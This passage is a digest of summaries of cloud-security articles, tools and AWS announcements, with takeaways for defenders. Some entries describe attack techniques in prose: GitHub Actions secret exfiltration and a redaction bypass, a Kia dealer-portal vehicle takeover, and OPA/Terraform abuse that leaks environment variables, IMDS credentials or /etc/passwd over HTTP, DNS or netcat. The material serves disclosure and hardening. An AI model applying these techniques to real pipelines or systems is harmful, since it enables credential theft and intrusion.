    TL;DR: An SVG attack diagram by John Stawinski and Adnan Khan that walks through finding and exploiting GitHub Actions misconfigurations, starting from read-only or write access to an org or repository.

    • Paths covered: From self-hosted runner takeover, to pwn requests, to secrets exfiltration; the README says the paths were used on red team engagements and public research and are not exhaustive.
    • Format: One file, GitHub Actions Attack Diagram.svg, plus README and CONTRIBUTORS; new or outdated TTPs are reported through Issues.
    • Talks: Built alongside Black Hat USA 2024 ‘Continuous Integration, Continuous Destruction’ and DEF CON 32 ‘Grand Theft Actions’ (slides linked).
    • Case studies: Links write-ups on PyTorch, CodeQL, Microsoft, Puppet (RoguePuppet) and TensorFlow supply chain attacks.
    • Numbers: 24 commits, 194 stars and 13 forks at fetch time.

    Takeaway: Use it as a decision tree when assessing your own Actions setup: check for self-hosted runners on public repos, pull_request_target patterns and secret exposure, and follow the linked write-ups for real exploitation detail.

  • 3.7 Million Fake GitHub Stars: A Growing Threat Linked to Scams and Malware
    summary

    TL;DR: Socket research led by Hao He (Socket intern, CMU PhD student), published August 27, 2024, found about 3.7 million suspected fake GitHub stars from July 2019 to July 2024, many tied to scam and malware repositories.

    • Numbers: 3,746,538 suspected fake stars across 10,155 repositories; about 89% of those repos have since been deleted, but only 18.12% of the starring accounts. Stars can cost as little as $0.10 each.
    • Content: Malware (VirusTotal flags 28 repos still online), piracy and game cheats, crypto sniping bots, and low-quality awesome lists. Example: Solmonster/PhantomSniper-Solana-Sniper-Bot steals crypto via a hidden spawn() call.
    • Data: GH Archive in BigQuery, about 20 TiB over five years.
    • Detection: A low-activity heuristic (accounts that star and go inactive the same day) plus CopyCatch-style clustering of N users starring M repos within a short window; both produce false positives.
    • Effect: Early modelling suggests a short-term bump in real stars but a negative effect over time, with no significant effect on downloads.
    • Response: Socket added a High-severity ‘Suspicious Stars on GitHub’ alert.

    Takeaway: Star counts are not a trust signal. Check whether issues, PRs and contributors match the stars before adopting a package, especially for crypto tools and cracks.

  • Kubernetes Is Evolving, the CKA Exam Too!
    summary

    TL;DR: A CNCF post (September 5, 2024) announcing that the Certified Kubernetes Administrator exam competencies will change no sooner than November 25, 2024, while the domains stay the same.

    • Timing: The update will not take place before November 25, 2024; the exact date was not set in the post.
    • Domains: Unchanged (for example Storage, Troubleshooting), but competencies within them change.
    • Added: ‘Use the Gateway API to manage Ingress traffic.’
    • Removed: ‘Provision underlying infrastructure to deploy a Kubernetes cluster’, reflecting the shift to managed platforms.
    • Details: The full competency list is in the linked Linux Foundation announcement; weights and other topics are not covered in the post.

    Takeaway: If you are preparing for the CKA, study Gateway API and check the Linux Foundation curriculum for the current competency list rather than older prep material.

  • Achieving Zero Trust Security on Amazon EKS with Istio
    summary

    TL;DR: Part four of the AWS ‘Istio on EKS’ series (Praseeda Sathaye et al., September 3, 2024) applies zero trust principles to an EKS sample app using Istio mTLS, JWT validation, ingress TLS and OPA external authorization.

    • mTLS: Moves the mesh from permissive to STRICT PeerAuthentication, with certificates from cert-manager, istio-csr and aws-privateca-issuer backed by AWS Private CA.
    • End-user auth: RequestAuthentication validates JWTs from Keycloak. Requests with no JWT pass by default, so it is paired with an AuthorizationPolicy requiring authenticated claims.
    • External authz: A CUSTOM AuthorizationPolicy in the workshop namespace forwards decisions to an OPA sidecar on port 9191, injected with Gatekeeper mutations; rules live in policy.rego.
    • Ingress: istio-ingress sits behind an NLB with an ACM certificate (a self-signed cert imported to ACM in the demo); traffic is checked with siege and visualized in Kiali.
    • Code: github.com/aws-samples/istio-on-eks, modules/04-security, marked demo-only, not production.

    Takeaway: A concrete recipe for the common pitfall that RequestAuthentication alone does not block anonymous requests. Copy the STRICT mTLS plus AuthorizationPolicy pattern, and treat the sample’s self-signed certs as demo-only.

  • Using Go Instead of Bash for Scripts
    summary

    TL;DR: Krzysztof Kowalczyk (kjk) describes replacing per-platform .sh and .bat project scripts with one multipurpose Go program, because bash is hard to remember and write and Go runs everywhere.

    • Layout: A single do directory holds one Go program; commands are chosen by flags like -run, -test, -deploy, and running with no args prints them.
    • Wrappers: do/do.sh and do/do.bat just cd do and go run .; a doit shell function finds and runs do.sh from anywhere in the project.
    • Setup: main calls cdToTopDir() so paths are relative to the repo root, then dispatches on flags.
    • Helpers: must(err) panics on error, runCmd logs and captures command output, checkGitClean blocks deploys on a dirty tree, plus logf, openBrowser, zip and file helpers, and a composable line counter.
    • Trade-offs: More lines than shell, which the author considers immaterial; panic-on-error is fine for scripts but not production code.

    Takeaway: A practical pattern if your team already writes Go: one typed, cross-platform task runner instead of fragile shell. It requires a Go toolchain on every dev machine.

  • How to 10X Your Cloud Security (Without the Series D)
    summary

    TL;DR: A Rami McCarthy slide deck (posted September 11, 2024) on scaling a cloud security program without a big budget, using guardrails, secure defaults and invariants instead of gatekeeping.

    • Principles: Do things manually first, then automate; prefer high-signal, low-noise tooling; guardrails not gatekeepers; build tools developers can use; aim for desirable rather than absolute security.
    • Invariants: Identify scope, measure adherence, document exceptions, prevent regressions; set a baseline, meet it, enforce it, raise it.
    • What does not scale: Absolute least privilege, centralized security review and authorship; security champions described as crutches for processes that do not scale.
    • Program areas: Account architecture and allowlists, asset inventory and secrets scanning, zero-access-by-default IAM with crown-jewel carve-outs, detection engineering and canaries, secure-by-default IaC modules, Kubernetes hardening.
    • Tools named: Steampipe, AWS Access Advisor, Semgrep, gitleaks, cartography, terraform-aws-secure-baseline, org-kickstart, SigmaHQ and other detection rule repos.
    • 30-60-90 plan: Assess and baseline, fix one thing well with invariants, then build a reproducible process and kill a class of risk.

    Takeaway: A strong checklist for a small security team. Pick one area, define an invariant, enforce it automatically, and only then expand.

  • Beyond the AWS Security Maturity Roadmap
    summary

    TL;DR: Rami McCarthy’s fwd:cloudsec talk (June 12, 2023) on what to do after Scott Piper’s AWS Security Maturity Roadmap, organized around build-versus-adopt-versus-buy decisions for each control area.

    • Framework: Build only if the problem or scale is unique to you, integration costs more than building, or license costs outweigh it.
    • Secrets and inventory: Standardize secrets early with a thin wrapper over cloud services; adopt inventory before controls and do not write your own cloud API collectors.
    • CSPM and remediation: Do not build an open-source CSPM; use auto-remediation only when IaC or a change chokepoint is not available.
    • IaC: Secure modules once there is a real need; write environment-specific scanning rules, surface them at PR time, and roll out block mode gradually.
    • Access and infra: Incremental JIT access for step-up and break-glass; move from SSH to SSM early; egress filtering starts in monitor mode; data perimeter and SCPs rolled out carefully.
    • Tools named: Vault, sops, Steampipe, CloudQuery, prowler, cloud-custodian, tfsec, Semgrep, checkov, Canarytokens, iamlive, granted, stratus-red-team, smokescreen, Teleport, Falco, Tetragon and more.

    Takeaway: Use it as a menu for the next stage of an AWS program once basics are done. The tool lists per area save a lot of market research.

  • revive: Fast, Configurable, Extensible Drop-In Replacement for golint
    summary

    TL;DR: revive by Minko Gechev is an MIT-licensed, configurable Go linter and drop-in replacement for golint, with a framework for custom rules.

    • Speed: About 2x faster than golint on the same rules and over 6x with typed rules off. On Kubernetes: golint about 55 s, revive about 8.5 s without type checking, about 26 s with it.
    • Rules: Roughly 105 rules, marked by golint origin and whether they need type info.
    • Config: TOML via -config; enable or disable rules, set severity and arguments, for example [rule.cyclomatic] with arguments = [10].
    • Output: Nine formatters including friendly, stylish, json, ndjson, checkstyle and sarif.
    • Install: go install github.com/mgechev/revive@latest, Homebrew, Docker or binaries.
    • golangci-lint: Available as the revive linter, configured under linters.settings.revive in YAML or JSON.

    Takeaway: If you still run golint (deprecated), revive is the direct replacement. Most teams will use it via golangci-lint and tune rules there.

  • Hacking Kia: Remotely Controlling Cars with Just a License Plate
    summary

    TL;DR: Sam Curry, Neiko Rivera, Justin Rhinehart, Ian Carroll and Kenneth Lugo found that Kia’s dealer portal let anyone take remote control of most Kia vehicles from just a license plate, in about 30 seconds, with or without a Kia Connect subscription.

    • Entry point: The employee dealer portal on kiaconnect.kdealer.com allowed self-registration, which yielded a valid token for dealer-only API endpoints.
    • Chain: License plate to VIN via a third-party service; dealer VIN lookup returned the owner’s name, email and phone; dealer endpoints then demoted the owner and added the attacker as primary owner.
    • Impact: Geolocation, lock/unlock, start/stop, horn and lights; camera access on some models. The victim got no notification.
    • Scope: Vehicle table covers 2014 to 2025 model years, varying by model and trim.
    • Disclosure: Reported June 11, 2024; Kia said it remediated August 14; publicly disclosed after validation. The PoC tool was never released, and Kia said the flaw was not exploited maliciously.

    Takeaway: A textbook broken-access-control chain: an internal portal with open signup trusted by privileged APIs. Audit partner and employee portals for self-registration and check that their tokens cannot reach owner-level actions.

  • Cloud Logging Tips and Tricks
    summary

    TL;DR: Alice Klimovitsky (Wiz, September 17, 2024) covers practical gaps and defaults in AWS, Azure, GCP and Google Workspace logging, arguing control plane logs are the best starting point because they cover the most attack stages.

    • Categories: Identity, data, network, compute and control plane log sources.
    • AWS: Use an organization trail so new accounts are not left unlogged; console history is 90 days; the first trail’s management events to S3 are free; S3 exfiltration needs data events enabled.
    • Azure: Activity logs keep 90 days and Entra audit/sign-in logs 7 to 30 days by license, so set diagnostic settings. Most control plane reads (listing resources, users, policies) are not logged. Sign-in logs carry a location object.
    • GCP: Admin Activity logs on by default, kept 400 days, but writes only; enable Data Access ADMIN_READ for reads. Config changes show in DATA_WRITE, off by default.
    • Workspace: Admin, Login, SAML, OAuth and Groups logs on by default for 6 months; streaming to GCP is free. Only the Login category includes error logs.
    • Detections: Unusual sign-in locations, brute force, persistence via new users, roles or VMs, enumeration, and data destruction.

    Takeaway: Check each default against what you would need in an incident: turn on GCP ADMIN_READ, S3 data events where it matters, and longer Azure retention before you need them.

  • Mitigating Attack Vectors in GitHub Workflows
    summary

    TL;DR: Joyce Brum of Google’s Open Source Security Team (OpenSSF blog, August 12, 2024) lists the main GitHub Actions attack vectors and concrete mitigations for each.

    • pull_request_target: Checking out and running PR head code with secrets lets an attacker print them; base32 encoding bypasses log redaction.
    • workflow_run artifacts: A privileged workflow that downloads artifacts from an unprivileged PR run can be fed attacker-controlled code.
    • Script injection: ${{ github.event.comment.body }} or issue titles in run: execute as shell; writing untrusted data to $GITHUB_ENV injects variables.
    • Cache and Actions: Untrusted code in the default-branch context can poison caches; tag pins can be moved; imposter commits from forks can look legitimate.
    • Mitigations: permissions: {} or contents: read by default; pass untrusted data via env:; split unprivileged and privileged workflows; pin Actions to full SHAs and check for the fork warning; no caching in release workflows.
    • Tools: OpenSSF Scorecard CLI and Scorecard Action, plus Dependabot or Renovate (monthly suggested).

    Takeaway: A compact hardening checklist for any repo with Actions. Run Scorecard and grep your workflows for pull_request_target and inline ${{ }} in run steps first.

  • AWS: VPC Flow Logs, NAT Gateways, and Kubernetes Pods, a Detailed Overview
    summary

    TL;DR: Arseny Zinchenko (RTFM, May 2024) uses VPC Flow Logs with a custom format and CloudWatch Logs Insights to find which EKS pods drive NAT Gateway data-processing costs.

    • Cost: NAT Gateway is $0.045/hour (about $32/month) plus $0.045/GB processed in both directions.
    • Log format: Custom fields including pkt-srcaddr, pkt-dstaddr, pkt-src-aws-service, flow-direction, traffic-path, interface-id; srcaddr/dstaddr are the hop, pkt-* the original endpoints.
    • Terraform: terraform-aws-modules/vpc ~> 5.5.2 with flow_log_max_aggregation_interval = 60 and flow_log_log_format (escape ${...} as $${...}).
    • Queries: Logs Insights parse @message over 19 fields, then sum(bytes) by NAT ENI, source EC2 or pod IP.
    • Pod visibility: By default the VPC CNI SNATs pod IPs to the node IP, hiding pods. Setting AWS_VPC_K8S_CNI_EXTERNALSNAT=true on aws-node makes pkt_srcaddr show the pod IP. hostNetwork: true also works but is discouraged.
    • Findings: One outbound flow via NAT yields three records (EC2 ENI egress, NAT ENI ingress and egress); NAT ENI records have an empty instance-id. CloudWatch storage of flow logs got expensive even for a small VPC.
    • Source caveat: The itnext.io page returned 403; summary is based on the author’s identical post on setevoy.substack.com.

    Takeaway: If NAT costs are high on EKS, enable custom-format flow logs and external SNAT temporarily to attribute traffic to pods, then fix the top talkers (often S3 or DynamoDB that should use VPC endpoints).

  • How to Build a Secure Recon Network Using Tailscale
    summary

    TL;DR: Rami Tawil (Bugcrowd, September 17, 2024) shows bug bounty hunters how to put a recon VPS behind Tailscale, with no public inbound access, an exit node, Taildrive file sharing and Tailscale SSH.

    • Architecture: Ubuntu 24.04 VPS running Amass, a Windows 11 PC and an Android phone joined in one tailnet.
    • Lockdown: sudo ufw default deny incoming, sudo ufw allow in on tailscale0, then reconnect via the Tailscale hostname.
    • Exit node: Enable IP forwarding in /etc/sysctl.d/99-tailscale.conf, sudo tailscale up --advertise-exit-node, approve in the admin console.
    • Taildrive: ACL nodeAttrs granting drive:share and drive:access, a tailscale.com/cap/drive grant, tailscale drive share reconbox ~/, mapped on Windows at http://100.100.100.100:8080.
    • SSH: sudo tailscale up --ssh --advertise-exit-node (add --accept-risk=lose-ssh if warned), then browser SSH from the admin console.
    • Caveat: The example Taildrive grant uses * sources and destinations with read-write access.

    Takeaway: A cheap way to keep recon infrastructure and its data off the internet. Tighten the example ACLs to specific users and devices before relying on it.

  • AWS and Kubecost Collaborate to Deliver Kubecost 2.0 for Amazon EKS Users
    summary

    TL;DR: An AWS Containers blog post (September 30, 2024) announcing Kubecost 2.0 features for EKS users at no cost, in the EKS-optimized bundle that has been free since August 2022.

    • Network costs: Near real-time network cost by pod, namespace, cluster and cloud service, including cross-AZ and cross-region traffic.
    • Actions: Automated request right-sizing and scheduled cluster or namespace turndown (nights, weekends), configured in UI or YAML.
    • Forecasting: ML forecasts in Allocations, Assets and Cloud Cost dashboards, plus anomaly detection.
    • Performance: New API backend claims 100x faster at scale, 3x better resource efficiency, and up to three years of history.
    • Install: Helm from oci://public.ecr.aws/kubecost/cost-analyzer with the EKS values file (example pins 2.4.1), the EKS add-on, or AWS Marketplace. Bundles Prometheus and kube-state-metrics by default.
    • Prereqs: Helm 3.9+; EBS CSI driver on 1.23+; configure a StorageClass on 1.30+, which has none by default. Do not expose the UI without an auth layer.

    Takeaway: A free way to get per-pod and network cost visibility on EKS. Port-forward the UI for a quick look and use the network view to find cross-AZ chatter.

  • Managing AWS EKS Access Entries with Terraform and OpenTofu
    summary

    TL;DR: Saifeddine Rajhi (AWS Community Builders, October 14, 2024) explains EKS access entries as the replacement for the aws-auth ConfigMap and shows how to manage them with the terraform-aws-modules/eks module in Terraform or OpenTofu.

    • Why: aws-auth is a manual, hard-to-audit YAML map where one mistake can lock users out. Access entries go through the EKS API and also remove the hidden default cluster creator.
    • Modes: CONFIG_MAP, API_AND_CONFIG_MAP, API. Switching is one-way: aws eks update-cluster-config --access-config authenticationMode=API.
    • Terraform: Module ~> 20.0 with enable_cluster_creator_admin_permissions = true and access_entries taking principal_arn, kubernetes_groups and policy_associations (each a policy_arn and access_scope of cluster or namespace).
    • Policies: AmazonEKSClusterAdminPolicy, AmazonEKSAdminPolicy, AmazonEKSEditPolicy, AmazonEKSViewPolicy; the example scopes View to the default namespace.
    • RBAC mix: Map entries to kubernetes_groups such as eks-admins and bind them with a ClusterRoleBinding.
    • Verify: aws eks list-access-entries --cluster-name <name>.

    Takeaway: Move to API_AND_CONFIG_MAP first, recreate aws-auth mappings as access entries in code, verify, then switch to API. Remember there is no way back.

  • Cloud-Native Incident Response in AWS: Part II
    summary

    TL;DR: Part II of Invictus Incident Response’s AWS cloud-native IR series (October 4, 2024) is a practical guide to using Amazon Athena to query logs during an investigation.

    • Model: Athena does not index data; it queries it in place in S3, with Glue holding the schema. The post warns against treating it as a SIEM.
    • Partitioning: Partition by region, year, month, day and hour to reduce scanned data, cost and query time.
    • Log sources: CloudTrail, VPC Flow Logs, ELB, S3 access and CloudFront logs.
    • Loading: You need the S3 location and a DDL statement; the example creates an elb_logs table by changing LOCATION.
    • Query tips: Use LIMIT to cap cost; result reuse (60 minutes to 7 days) misses recent events; use dot notation for STRUCT fields and json_extract_scalar for STRING JSON, for example roleSessionName from AssumeRole events.
    • Extra: A downloadable Athena cheatsheet on GitHub.

    Takeaway: Pre-create partitioned Athena tables for CloudTrail and flow logs before an incident, so responders can query in minutes instead of writing DDL under pressure.

  • s3cme: Template Go Repo with Supply Chain Security Pipelines (ko SBOM, cosign, SLSA Provenance)
    summary

    TL;DR: s3cme by Mark Chmarny is an Apache-2.0 template Go repo with GitHub Actions pipelines built for software supply chain security: scan, build with ko, sign with cosign, and attach SLSA provenance.

    • On push: Trivy code vulnerability scan and CodeQL SARIF results into repo security alerts.
    • On tag: ko image build and push with SBOM, Trivy image scan with a max-severity gate, cosign signing and attestation, SLSA provenance via slsa-github-generator, verified with slsa-verifier and a CUE policy.
    • Schedule: CodeQL analysis every 4 hours.
    • Release: Version lives in .version; make tag tags and pushes; images go to ghcr.io with .sig, .att and SPDX 2.3 .sbom artifacts.
    • Verify: cosign verify-attestation --type slsaprovenance with a certificate identity regexp, GitHub OIDC issuer and policy/provenance.cue.
    • Cluster enforcement: Sigstore policy-controller with policy/slsa.yaml and namespace label policy.sigstore.dev/include=true.

    Takeaway: A working reference for wiring SBOM, signing and SLSA provenance into a Go release pipeline. Copy the workflows and admission policy rather than designing from scratch.

  • Terraform Stacks Part 1: An Introduction
    summary

    TL;DR: Mike Guy (October 23, 2024) introduces HCP Terraform Stacks, a public-preview feature for deploying the same set of modules across many environments without custom pipelines, with an Azure walkthrough.

    • Files: .tfstack.hcl for components, providers, variables and outputs; .tfdeploy.hcl for deployments, identity and orchestration.
    • Components: component blocks reference modules; providers get labels such as provider "azurerm" "this".
    • Deployments: Instances of the stack, for example dev, stg, prd, each with its own subscription and inputs.
    • Orchestration: orchestrate blocks with check conditions; the example auto-approves only dev when the plan is applyable. Other actions (deferral_replan, replan, converged) listed but not explored.
    • Limits: Public preview, not for production; 20 deployments per stack, 500 stack resources per org; VCS integration required; the demo needed Terraform 1.10.0-alpha20240926 and the tfstacks CLI. An identity_token variable had to be ephemeral.

    Takeaway: Worth tracking if you maintain workspace-per-environment sprawl in HCP Terraform, but it is HCP-only and preview, so do not migrate production yet.

  • zizmor: Static Analysis Tool for GitHub Actions
    summary

    TL;DR: zizmor is an MIT-licensed static analysis tool for GitHub Actions (and Dependabot and pre-commit configs) that finds security issues in CI/CD definitions. The repo now lives at github.com/zizmorcore/zizmor.

    • Audits: Template injection leading to code execution, accidental credential persistence and leakage, excessive permission scopes, imposter commits and confusable git refs; the full list is at docs.zizmor.sh/audits/.
    • Scope: GitHub Actions workflows and actions, Dependabot and pre-commit configurations.
    • Build: Repo contains Cargo.toml and pyproject.toml, indicating Rust with Python packaging (inference from files, not stated).
    • Docs: Install, quickstart and usage recipes are at docs.zizmor.sh, not in the README.
    • Maintainer: Sponsor links point to woodruffw (William Woodruff).

    Takeaway: Run zizmor in CI over .github/workflows to catch injection and over-permissioned tokens before attackers do. It pairs well with OpenSSF Scorecard.

  • AWS Security Guardrails and Terraform
    summary

    TL;DR: Naman Sogani built two Python scripts that use Claude 3.5 Sonnet on AWS Bedrock to generate AWS security requirements and secure-by-default Terraform modules per service.

    • Requirements Generator: requirements-generator.py merges and enhances requirements from Checkov and Prowler into JSON (ID, name, description, provider, domain).
    • Terraform Creator: terraform-creator.py writes main.tf, variables.tf and notes.md per service, with requirement traceability and coverage notes.
    • Assumptions: Hub-and-spoke via Transit Gateway, Identity Center SSO, no IAM user keys, CloudTrail and flow logs on, private-only resources.
    • Prompt rules: Do not create supporting resources (KMS keys, buckets, SGs); one resource block per resource; most secure defaults.
    • Services: Examples include S3, SageMaker, MSK, RDS, ALB, ECS, EKS, API Gateway, Kinesis, MWAA and KMS.
    • Repo: github.com/naman16/AWS-Security-Guardrails-TF.
    • Limits: AI output needs review; no measured accuracy given, only ‘a few hours’ with ‘reasonable accuracy’; some requirements cannot be expressed in Terraform.

    Takeaway: A useful starting point for a secure module library, not a finished one. Review each generated module against your own environment before use.

  • safer-scps: Safer AWS SCP Deployments via Real-Time Monitoring
    summary

    TL;DR: safer-scps by Matthew Fuller is a pair of CloudFormation stacks that stream SCP-caused AccessDenied events from every member account to a central place in near real time, so you can watch for breakage while rolling out a Service Control Policy.

    • Problem: SCPs have no dry-run mode and CloudTrail delivery can lag more than 15 minutes.
    • Flow: In each member account, an EventBridge rule matches AccessDenied events whose message ends in ‘deny in a service control policy’ and forwards them to a management-account event bus, then CloudWatch Logs.
    • Metrics: A metric filter splits by Account and Action for an ‘ScpErrors’ dashboard (30 s period) or Live Tail.
    • Deploy: bus.yml in the management account with your Org ID; rules.yml via StackSets with the EventBusArn output.
    • Cost: Cross-account events about $1 per million, logs about $0.50/GB; near zero unless error volume is high. Stop Live Tail when done.
    • Limits: Per-region deployment, relies on exact AWS error text, data events untested; log group name is inconsistent in the README.

    Takeaway: Deploy it before your next SCP change and keep the dashboard open during rollout, so a bad deny shows up in seconds instead of in a support ticket.

  • How AWS Enforcement Code Logic Evaluates Requests to Allow or Deny Access
    summary

    TL;DR: The AWS IAM User Guide page describing the order in which AWS enforcement code evaluates policies to reach Allow or Deny.

    • Defaults: Everything is implicitly denied except the root user; an explicit deny anywhere overrides any allow.
    • Order: Explicit deny across all policies, then RCPs, then SCPs, then resource-based policies, identity-based policies, permissions boundaries, and session policies.
    • RCPs and SCPs: Each must contain an applicable Allow or the request is denied. RCPFullAWSAccess is attached automatically and cannot be detached.
    • Resource policies: Within one account, an Allow to an IAM user, role session or federated user ARN can grant access despite an implicit deny in identity policies, boundaries or session policies. An Allow to a role ARN is still limited by boundaries and session policies.
    • Exceptions: IAM role trust policies and KMS key policies must explicitly allow the principal.
    • Sessions: Non-session principals end at Allow; if a session policy is passed and does not allow the action, the request is denied.

    Takeaway: Keep this page open when debugging AccessDenied. The subtle bit is same-account resource policies granting directly to sessions, which can bypass permission boundaries.

  • aws-gate: Better AWS SSM Session Manager CLI Client
    summary

    TL;DR: aws-gate by xen0l is a BSD-licensed Python CLI wrapper around AWS SSM Session Manager that lets you connect to EC2 instances by name, tag, IP, DNS or ASG instead of only instance ID, and adds SSH over SSM.

    • Lookup: Instance ID, DNS or private DNS, IP, Name:value tag, instance name, or asg:name.
    • Config: Host aliases with profile and region in ~/.aws-gate/config and ~/.aws-gate/config.d.
    • Commands: aws-gate session <id>, aws-gate ssh <id> [command] with local port forwarding (for example to RDS), aws-gate ssh-config to generate ~/.ssh/config, and ssh-proxy used as ProxyCommand.
    • SSH keys: Ephemeral keys pushed via EC2 Instance Connect; scp works but can be slow.
    • Requirements: Python 3.5+, session-manager-plugin, SSM Agent 2.3.68.0+, suitable instance profile IAM.
    • Install: pip install aws-gate, Homebrew tap xen0l/homebrew-taps, or Docker. Debug with GATE_DEBUG.

    Takeaway: Makes SSM a practical SSH replacement so you can close port 22. Check recent commit activity before standardizing, since maintenance status is not stated.

  • Pinniped: The Easy, Secure Way to Log in to Your Kubernetes Clusters
    summary

    TL;DR: Pinniped is an Apache 2.0 project from VMware Tanzu that provides identity services for Kubernetes: it plugs external identity providers into clusters for one login experience across on-prem and managed cloud clusters.

    • Purpose: Authentication for Kubernetes using externally managed identities instead of shared credentials.
    • Single sign-on: Users log in once to reach all their clusters.
    • Tooling: Works with native tools such as kubectl.
    • Install: Described as easy to install on almost any Kubernetes cluster, including managed cloud environments.
    • IdPs: Repo topics list OIDC, LDAP and Active Directory; integrates with an enterprise IdP over standard protocols.
    • Numbers: About 742 stars and 5,000+ commits at fetch time.

    Takeaway: A self-hosted option for replacing static kubeconfigs and cloud-specific auth with one SSO flow across mixed clusters. See pinniped.dev for the component architecture before deploying.

  • The Dark Side of Domain-Specific Languages: Uncovering New Attack Techniques in OPA and Terraform
    summary

    TL;DR: Shelly Raban (Tenable, November 18, 2024, from her fwd:cloudsec Europe talk) shows how OPA Rego policies and Terraform code can be abused to execute code and exfiltrate secrets in pipelines.

    • OPA setup: An attacker with write access to the bucket OPA loads policies from uploads malicious Rego that runs at evaluation.
    • OPA exfil: opa.runtime().env plus http.send leaks environment variables; a Rego chain queries IMDSv2 for instance role credentials; net.lookup_ip_addr tunnels data via DNS even when http.send is blocked.
    • Terraform plan-time: PR pipelines running terraform plan (for example setup-terraform) execute data sources, so any PR author can run code on the runner.
    • Data sources: external runs a local program; http leaks secrets in URLs (IMDSv2 unreachable since it needs PUT); dns_a_record_set exfiltrates a Secrets Manager value via DNS.
    • Provisioners: local-exec (example pipes /etc/passwd to netcat) and remote-exec (coin miner on new EC2).
    • Mitigations: Separate plan and apply roles, vetted modules and providers, OPA capabilities.json allow_net, logging, and custom scanning before plan.

    Takeaway: Treat terraform plan on untrusted PRs as code execution. Give plan jobs minimal credentials and restrict network egress for OPA and Terraform runners.

  • AWS Application Load Balancer Announces CloudFront Integration with Built-In WAF
    summary

    TL;DR: AWS (November 15, 2024) added a one-click option in the ALB console that puts a CloudFront distribution with a preconfigured AWS WAF web ACL in front of an Application Load Balancer.

    • What it does: Creates and configures ALB, CloudFront and WAF together, replacing a manual multi-service setup.
    • Protection: Preconfigured WAF web ACL with basic protections against common web threats.
    • Origin lock-down: Optional security group allowing only CloudFront IPs; if it is the only inbound rule, all requests pass through CloudFront and WAF.
    • Caching: CloudFront caches HTML, CSS/JS and images per the app’s Cache-Control headers.
    • Pricing and regions: Standard ALB, CloudFront and WAF pricing; all commercial regions; new and existing ALBs.

    Takeaway: The fastest way to get edge WAF and origin lock-down for an ALB app. Review the default WAF rules and make sure the ALB is not still reachable directly.

  • Updated Whitepaper: Architecting for PCI DSS Segmentation and Scoping on AWS
    summary

    TL;DR: AWS Security Assurance Services (Abdul Javid, Padmakar Bhosale, Ted Tanner, November 15, 2024) announce an updated whitepaper on PCI DSS 4.0 segmentation and scoping on AWS.

    • Alignment: Follows the PCI Council’s information supplement on scoping and network segmentation, updated for PCI DSS 4.0.
    • New content: Reference architectures for account structure with AWS Organizations OUs, network-layer design patterns, firewall rule examples mapped to PCI requirements, and more hands-on segmentation scenarios.
    • Topics: Defining boundaries between in-scope and out-of-scope resources, east-west and north-south traffic flows, and account and network structure as the base of segmentation.
    • Key point: Software-defined networking and service choice can shrink the cardholder data environment compared with on-prem.
    • Audience: Engineers, QSAs and internal security assessors.

    Takeaway: If you run card data on AWS, use the whitepaper’s account and OU patterns to isolate the CDE early; account-level separation is the cheapest scope reduction.

  • Amazon EKS Now Supports Amazon Application Recovery Controller (ARC)
    summary

    TL;DR: Since October 22, 2024, Amazon EKS supports Amazon Application Recovery Controller (ARC) zonal shift and zonal autoshift to move in-cluster traffic away from an impaired Availability Zone.

    • Zonal shift: You trigger moving in-cluster network traffic for multi-AZ apps from an impaired AZ to healthy ones.
    • Zonal autoshift: AWS performs the shift for you when it detects AZ impairment.
    • Practice runs: Configurable tests to confirm the cluster runs with one less AZ.
    • Enable: EKS console, AWS CLI, CloudFormation or eksctl; then manage shifts via the ARC console, CLI or Zonal Shift APIs.
    • Regions: All commercial regions except GovCloud (US). Pricing is not mentioned.

    Takeaway: Enable it on multi-AZ clusters and run a practice shift; it exposes workloads that cannot survive losing an AZ (single replicas, zonal volumes, tight PDBs).

  • Hands-On Security Tips for Centralized Root Access in AWS (AssumeRoot)
    summary

    (Could not fetch full text.)

    TL;DR: A Medium post by oraspir with hands-on tips for AWS Organizations centralized root access and sts:AssumeRoot, including notes for CSPM and CDR tooling.

    • Feature: Centralized root access lets the management account (or a delegated admin) manage member account root credentials and run task-scoped root sessions instead of logging in as root.
    • Enable: Two features from the management account: root sessions (enables sts:AssumeRoot) and root credentials management (remove member root credentials).
    • AssumeRoot rules: Must be called with management or delegated-admin credentials, not root, and against a regional STS endpoint; the global endpoint is not supported. Sessions are visible in CloudTrail.
    • Hardening: Delegate to a dedicated security account, limit sts:AssumeRoot to who needs it, and narrow tasks with the sts:TaskPolicyArn condition key.
    • Source caveat: Medium returned 403; this summary is based on the post title, search snippets and AWS documentation, not the article’s specific tips.

    Takeaway: Enable centralized root access, delete member root credentials, and alert on AssumeRoot events in CloudTrail. Read the original post for its specific detection tips.

  • AWS Application Load Balancer Introduces Header Modification for Traffic Control and Security
    summary

    TL;DR: Since November 21, 2024, AWS Application Load Balancer can rename its TLS headers, insert response headers, and drop its Server header.

    • Rename: All ALB-generated TLS headers: the six mTLS headers and the two TLS version and cipher headers, so existing backends can keep their expected names.
    • Insert: Custom response headers such as CORS and security headers like HSTS (Strict-Transport-Security).
    • Remove: Disable the ALB-generated Server response header to reduce fingerprinting.
    • Regions: All commercial, GovCloud (US) and China regions. Pricing not mentioned.

    Takeaway: Set HSTS and strip the Server header at the ALB instead of in every app, and use header renaming to ease migrating mTLS backends.

  • Secure Root User Access for Member Accounts in AWS Organizations
    summary

    TL;DR: An AWS Security Blog post (Jonathan VanKim, Sowjanya Rajavaram, November 22, 2024) on centrally managing root access for AWS Organizations member accounts: removing root credentials and running short, task-scoped root sessions.

    • Root credentials management: Centrally view, delete and block recovery of member root passwords, access keys, signing certs and MFA.
    • Privileged root actions: Task-scoped root sessions of up to 15 minutes, started only from the management or delegated admin account with sts:AssumeRoot.
    • Enable (CLI): aws organizations enable-aws-service-access --service-principal iam.amazonaws.com, register-delegated-administrator, aws iam enable-organizations-root-sessions, aws iam enable-organizations-root-credentials-management.
    • Task policies: IAMDeleteRootUserCredentials, IAMCreateRootUserPassword, IAMAuditRootUserCredentials, S3UnlockBucketPolicy, SQSUnlockQueuePolicy under arn:aws:iam::aws:policy/root-task/.
    • Example: aws sts assume-root --target-principal <acct> --task-policy-arn arn=arn:aws:iam::aws:policy/root-task/S3UnlockBucketPolicy, then aws s3api delete-bucket-policy.
    • Caveats: New accounts get no root password; SCPs and VPC endpoint policies still apply to root sessions; restrict with sts:TaskPolicyArn.

    Takeaway: Turn this on, delegate to a security account, and delete member root credentials. It removes the need to vault dozens of root passwords and MFA devices.

  • How to Use AWS Resource Control Policies
    summary

    TL;DR: Scott Piper (Wiz, November 28, 2024) explains AWS Resource Control Policies (RCPs), the resource-side counterpart to SCPs, with practical example policies.

